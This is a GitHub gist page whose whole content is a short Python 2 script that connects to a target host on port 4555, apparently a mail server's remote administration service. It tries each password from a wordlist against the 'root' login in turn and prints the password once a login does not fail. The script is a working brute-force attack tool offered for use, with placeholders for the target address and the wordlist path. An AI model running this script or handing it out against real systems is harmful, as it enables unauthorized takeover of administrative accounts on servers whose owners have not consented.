Skip to content

Instantly share code, notes, and snippets.

@0xhexmex
Created October 11, 2018 05:40
Show Gist options
  • Save 0xhexmex/fb16f4a7aff9c9db3224b6ec7f67c887 to your computer and use it in GitHub Desktop.
Save 0xhexmex/fb16f4a7aff9c9db3224b6ec7f67c887 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import socket
import sys
import os
host = 'TARGET IP ADDRESS HERE'
port = 4555
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
print "socket() failed"
sys.exit(1)
try:
s.connect((host, port))
except:
print "connect() failed"
sys.exit(1)
# Recv and print banner
data = s.recv(1024)
print data
# Start brute-force with root user
passwords = [w.strip() for w in open("WORDLIST PATH HERE", "rb").readlines()] # parse password list
for value in passwords:
print "*** NEW LOOP ***"
print "Current password: ", value
print "[+] Sending 'root' as login... [+]"
s.send("root\n")
print "** Receiving (password prompt) response..."
data = s.recv(1024)
print data
print "[+} Sending '" + value + "' as the password... [+]"
s.send(value + "\n")
print "** Receiving response to login attempt...."
data = s.recv(1024)
print data
if "Login failed for root" not in data:
print "[+++] PASSWORD HAS BEEN GUESSED CORRECTLY [++++]"
print "The password is: ", value
sys.exit()
else:
pass
print "** Assuming we failed, receiving the next login prompt..."
data = s.recv(1024)
print data
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment